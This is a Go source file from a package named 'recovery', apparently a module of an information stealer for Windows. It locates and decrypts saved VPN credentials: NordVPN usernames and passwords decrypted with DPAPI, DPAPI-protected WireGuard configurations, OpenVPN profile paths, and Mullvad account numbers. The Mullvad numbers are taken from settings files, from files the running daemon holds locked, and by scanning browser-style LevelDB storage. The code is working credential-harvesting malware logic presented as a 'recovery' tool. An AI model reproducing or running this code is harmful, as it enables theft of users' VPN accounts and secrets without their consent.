391 lines
10 KiB
Go
391 lines
10 KiB
Go
//go:build windows
|
|
|
|
package recovery
|
|
|
|
import (
|
|
"encoding/base64"
|
|
"encoding/json"
|
|
"os"
|
|
"path/filepath"
|
|
"strings"
|
|
|
|
"recovery/recovery/platform"
|
|
"recovery/recovery/types"
|
|
)
|
|
|
|
func ScanVPNs() *types.VPNResult {
|
|
result := &types.VPNResult{
|
|
NordVPN: scanNordVPN(),
|
|
WireGuard: scanWireGuard(),
|
|
OpenVPN: scanOpenVPN(),
|
|
Mullvad: scanMullvad(),
|
|
}
|
|
if len(result.NordVPN) == 0 && len(result.WireGuard) == 0 && len(result.OpenVPN) == 0 && len(result.Mullvad) == 0 {
|
|
return nil
|
|
}
|
|
return result
|
|
}
|
|
|
|
func scanNordVPN() []types.NordVPNResult {
|
|
var results []types.NordVPNResult
|
|
|
|
nordDir := filepath.Join(os.Getenv("LOCALAPPDATA"), "NordVPN")
|
|
logf("[vpn] NordVPN dir=%q exists=%v", nordDir, pathExists(nordDir))
|
|
if !pathExists(nordDir) {
|
|
return nil
|
|
}
|
|
|
|
entries, err := os.ReadDir(nordDir)
|
|
if err != nil {
|
|
return nil
|
|
}
|
|
|
|
for _, e := range entries {
|
|
if !e.IsDir() || !strings.Contains(e.Name(), "NordVpn.exe") {
|
|
continue
|
|
}
|
|
|
|
versionsDir := filepath.Join(nordDir, e.Name())
|
|
subEntries, _ := os.ReadDir(versionsDir)
|
|
|
|
for _, sub := range subEntries {
|
|
if !sub.IsDir() {
|
|
continue
|
|
}
|
|
configPath := filepath.Join(versionsDir, sub.Name(), "user.config")
|
|
if !pathExists(configPath) {
|
|
continue
|
|
}
|
|
|
|
data, err := os.ReadFile(configPath)
|
|
if err != nil || len(data) == 0 {
|
|
continue
|
|
}
|
|
|
|
username := extractNordVPNValue(data, "Username")
|
|
password := extractNordVPNValue(data, "Password")
|
|
|
|
if username != "" && password != "" {
|
|
results = append(results, types.NordVPNResult{
|
|
Version: e.Name(),
|
|
Username: username,
|
|
Password: password,
|
|
})
|
|
}
|
|
}
|
|
}
|
|
|
|
return results
|
|
}
|
|
|
|
func extractNordVPNValue(data []byte, field string) string {
|
|
content := string(data)
|
|
idx := strings.Index(content, `name="`+field+`"`)
|
|
if idx == -1 {
|
|
return ""
|
|
}
|
|
|
|
start := strings.Index(content[idx:], "<value>")
|
|
end := strings.Index(content[idx:], "</value>")
|
|
if start == -1 || end == -1 || end < start {
|
|
return ""
|
|
}
|
|
|
|
raw := content[idx+start+7 : idx+end]
|
|
decoded, err := base64.StdEncoding.DecodeString(raw)
|
|
if err != nil {
|
|
return raw
|
|
}
|
|
|
|
plaintext, err := dpapiDecrypt(decoded, nil)
|
|
if err != nil || len(plaintext) == 0 {
|
|
return raw
|
|
}
|
|
|
|
return strings.TrimRight(string(plaintext), "\x00")
|
|
}
|
|
|
|
func scanWireGuard() []types.WireGuardResult {
|
|
var results []types.WireGuardResult
|
|
|
|
configDirs := []string{
|
|
`C:\Program Files\WireGuard\Data\Configurations`,
|
|
filepath.Join(os.Getenv("LOCALAPPDATA"), "WireGuard", "Configurations"),
|
|
}
|
|
|
|
for _, configDir := range configDirs {
|
|
logf("[vpn] WireGuard config dir=%q exists=%v", configDir, pathExists(configDir))
|
|
if !pathExists(configDir) {
|
|
continue
|
|
}
|
|
|
|
entries, err := os.ReadDir(configDir)
|
|
if err != nil {
|
|
continue
|
|
}
|
|
logf("[vpn] WireGuard dir has %d entries", len(entries))
|
|
|
|
for _, e := range entries {
|
|
if e.IsDir() {
|
|
continue
|
|
}
|
|
|
|
name := e.Name()
|
|
ext := strings.ToLower(filepath.Ext(name))
|
|
filePath := filepath.Join(configDir, name)
|
|
|
|
var confData []byte
|
|
|
|
if ext == ".dpapi" {
|
|
confData, err = dpapiDecryptFile(filePath)
|
|
name = strings.TrimSuffix(name, ".dpapi")
|
|
} else if ext == ".conf" {
|
|
confData, err = os.ReadFile(filePath)
|
|
} else {
|
|
continue
|
|
}
|
|
|
|
if err != nil || len(confData) == 0 {
|
|
continue
|
|
}
|
|
|
|
var iface, peer, endpoint string
|
|
for _, line := range normLines(string(confData)) {
|
|
line = strings.TrimSpace(line)
|
|
if key, val, ok := strings.Cut(line, "="); ok {
|
|
key = strings.TrimSpace(key)
|
|
val = strings.TrimSpace(val)
|
|
switch key {
|
|
case "Address":
|
|
iface = val
|
|
case "Endpoint":
|
|
endpoint = val
|
|
case "PublicKey":
|
|
if peer == "" {
|
|
peer = val
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
results = append(results, types.WireGuardResult{
|
|
Name: name,
|
|
Interface: iface,
|
|
Peer: peer,
|
|
Endpoint: endpoint,
|
|
})
|
|
}
|
|
}
|
|
|
|
return results
|
|
}
|
|
|
|
func dpapiDecryptFile(path string) ([]byte, error) {
|
|
data, err := os.ReadFile(path)
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
return dpapiDecrypt(data, nil)
|
|
}
|
|
|
|
func scanOpenVPN() []types.OpenVPNResult {
|
|
var results []types.OpenVPNResult
|
|
|
|
ovpnDirs := []string{
|
|
filepath.Join(os.Getenv("APPDATA"), "OpenVPN Connect", "profiles"),
|
|
filepath.Join(os.Getenv("USERPROFILE"), "OpenVPN", "config"),
|
|
}
|
|
|
|
for _, ovpnDir := range ovpnDirs {
|
|
logf("[vpn] OpenVPN dir=%q exists=%v", ovpnDir, pathExists(ovpnDir))
|
|
if !pathExists(ovpnDir) {
|
|
continue
|
|
}
|
|
|
|
entries, err := os.ReadDir(ovpnDir)
|
|
if err != nil {
|
|
continue
|
|
}
|
|
logf("[vpn] OpenVPN dir has %d entries", len(entries))
|
|
|
|
for _, e := range entries {
|
|
if e.IsDir() || !strings.HasSuffix(strings.ToLower(e.Name()), ".ovpn") {
|
|
continue
|
|
}
|
|
results = append(results, types.OpenVPNResult{
|
|
Name: e.Name(),
|
|
Path: filepath.Join(ovpnDir, e.Name()),
|
|
})
|
|
}
|
|
}
|
|
|
|
return results
|
|
}
|
|
|
|
func scanMullvad() []types.MullvadResult {
|
|
var results []types.MullvadResult
|
|
|
|
mullvadPids, _ := platform.FindProcesses("mullvad-daemon.exe")
|
|
|
|
systemProfile := `C:\Windows\System32\config\systemprofile\AppData\Local\Mullvad VPN`
|
|
logf("[vpn] Mullvad SYSTEM profile=%q exists=%v", systemProfile, pathExists(systemProfile))
|
|
if pathExists(systemProfile) {
|
|
sysSettings := filepath.Join(systemProfile, "settings.json")
|
|
logf("[vpn] Mullvad SYSTEM settings.json=%q exists=%v", sysSettings, pathExists(sysSettings))
|
|
mullvadTryJSON(&results, sysSettings)
|
|
|
|
sysAcctHistory := filepath.Join(systemProfile, "account-history.json")
|
|
logf("[vpn] Mullvad SYSTEM account-history=%q exists=%v", sysAcctHistory, pathExists(sysAcctHistory))
|
|
mullvadReadAccountHistory(&results, sysAcctHistory, mullvadPids)
|
|
}
|
|
|
|
daemonSettings := filepath.Join(os.Getenv("LOCALAPPDATA"), "Mullvad VPN", "settings.json")
|
|
logf("[vpn] Mullvad daemon settings=%q exists=%v", daemonSettings, pathExists(daemonSettings))
|
|
mullvadTryJSON(&results, daemonSettings)
|
|
|
|
guiDir := filepath.Join(os.Getenv("APPDATA"), "Mullvad VPN")
|
|
logf("[vpn] Mullvad GUI dir=%q exists=%v", guiDir, pathExists(guiDir))
|
|
if pathExists(guiDir) {
|
|
guiSettings := filepath.Join(guiDir, "gui_settings.json")
|
|
logf("[vpn] Mullvad gui_settings.json=%q exists=%v", guiSettings, pathExists(guiSettings))
|
|
mullvadTryJSON(&results, guiSettings)
|
|
|
|
lsDir := filepath.Join(guiDir, "Local Storage", "leveldb")
|
|
logf("[vpn] Mullvad Local Storage=%q exists=%v", lsDir, pathExists(lsDir))
|
|
if pathExists(lsDir) {
|
|
mullvadScanLevelDB(&results, lsDir, guiDir)
|
|
}
|
|
}
|
|
|
|
acctHistory := filepath.Join(os.Getenv("LOCALAPPDATA"), "Mullvad VPN", "account-history.json")
|
|
logf("[vpn] Mullvad account-history=%q exists=%v", acctHistory, pathExists(acctHistory))
|
|
mullvadReadAccountHistory(&results, acctHistory, mullvadPids)
|
|
|
|
legacyPath := `C:\Program Files\Mullvad VPN\Configs\Mullvad`
|
|
logf("[vpn] Mullvad legacy=%q exists=%v", legacyPath, pathExists(legacyPath))
|
|
if pathExists(legacyPath) {
|
|
if data, err := os.ReadFile(legacyPath); err == nil && len(data) > 0 {
|
|
var account string
|
|
if decrypted, err := dpapiDecrypt(data, nil); err == nil && len(decrypted) > 0 {
|
|
account = strings.TrimRight(string(decrypted), "\x00")
|
|
}
|
|
if account == "" {
|
|
for _, line := range normLines(strings.TrimSpace(string(data))) {
|
|
line = strings.TrimSpace(line)
|
|
if line != "" {
|
|
account = line
|
|
break
|
|
}
|
|
}
|
|
}
|
|
if account != "" && !mullvadAlreadyFound(results, account) {
|
|
results = append(results, types.MullvadResult{AccountNumber: account, SettingsPath: legacyPath})
|
|
}
|
|
}
|
|
}
|
|
|
|
return results
|
|
}
|
|
|
|
func mullvadTryJSON(results *[]types.MullvadResult, path string) {
|
|
if !pathExists(path) {
|
|
return
|
|
}
|
|
data, err := os.ReadFile(path)
|
|
if err != nil || len(data) == 0 {
|
|
return
|
|
}
|
|
var raw map[string]json.RawMessage
|
|
if json.Unmarshal(data, &raw) != nil {
|
|
return
|
|
}
|
|
for _, key := range []string{"account_token", "accountToken", "account_number", "account"} {
|
|
v, ok := raw[key]
|
|
if !ok {
|
|
continue
|
|
}
|
|
var token string
|
|
if json.Unmarshal(v, &token) == nil && token != "" {
|
|
logf("[vpn] Mullvad found token via key %q in %s", key, path)
|
|
if !mullvadAlreadyFound(*results, token) {
|
|
*results = append(*results, types.MullvadResult{AccountNumber: token, SettingsPath: path})
|
|
}
|
|
return
|
|
}
|
|
}
|
|
}
|
|
|
|
func mullvadReadAccountHistory(results *[]types.MullvadResult, path string, pids []uint32) {
|
|
if !pathExists(path) {
|
|
return
|
|
}
|
|
data, err := platform.ReadLockedFile(path, pids)
|
|
if err != nil || len(data) == 0 {
|
|
logf("[vpn] Mullvad ReadLockedFile %q failed: %v", path, err)
|
|
return
|
|
}
|
|
rawContent := strings.TrimSpace(string(data))
|
|
logf("[vpn] Mullvad account-history content (%d bytes) from %s", len(data), path)
|
|
|
|
var token string
|
|
if json.Unmarshal(data, &token) == nil && token != "" && !mullvadAlreadyFound(*results, token) {
|
|
*results = append(*results, types.MullvadResult{AccountNumber: token, SettingsPath: path, Content: rawContent})
|
|
}
|
|
var tokens []string
|
|
if json.Unmarshal(data, &tokens) == nil {
|
|
for _, t := range tokens {
|
|
if t != "" && !mullvadAlreadyFound(*results, t) {
|
|
*results = append(*results, types.MullvadResult{AccountNumber: t, SettingsPath: path, Content: rawContent})
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
func mullvadScanLevelDB(results *[]types.MullvadResult, lsDir, sourceDir string) {
|
|
entries, err := os.ReadDir(lsDir)
|
|
if err != nil {
|
|
return
|
|
}
|
|
for _, e := range entries {
|
|
ext := strings.ToLower(filepath.Ext(e.Name()))
|
|
if ext != ".log" && ext != ".ldb" {
|
|
continue
|
|
}
|
|
data, err := os.ReadFile(filepath.Join(lsDir, e.Name()))
|
|
if err != nil || len(data) == 0 {
|
|
continue
|
|
}
|
|
content := string(data)
|
|
// Mullvad account numbers are 16 decimal digits
|
|
for i := 0; i <= len(content)-16; i++ {
|
|
if isDigit(content[i]) {
|
|
end := i
|
|
for end < len(content) && isDigit(content[end]) {
|
|
end++
|
|
}
|
|
seq := content[i:end]
|
|
if len(seq) == 16 {
|
|
logf("[vpn] Mullvad found 16-digit token in leveldb %s", e.Name())
|
|
if !mullvadAlreadyFound(*results, seq) {
|
|
*results = append(*results, types.MullvadResult{AccountNumber: seq, SettingsPath: sourceDir})
|
|
}
|
|
}
|
|
i = end
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
func isDigit(c byte) bool {
|
|
return c >= '0' && c <= '9'
|
|
}
|
|
|
|
func mullvadAlreadyFound(results []types.MullvadResult, account string) bool {
|
|
for _, r := range results {
|
|
if r.AccountNumber == account {
|
|
return true
|
|
}
|
|
}
|
|
return false
|
|
}
|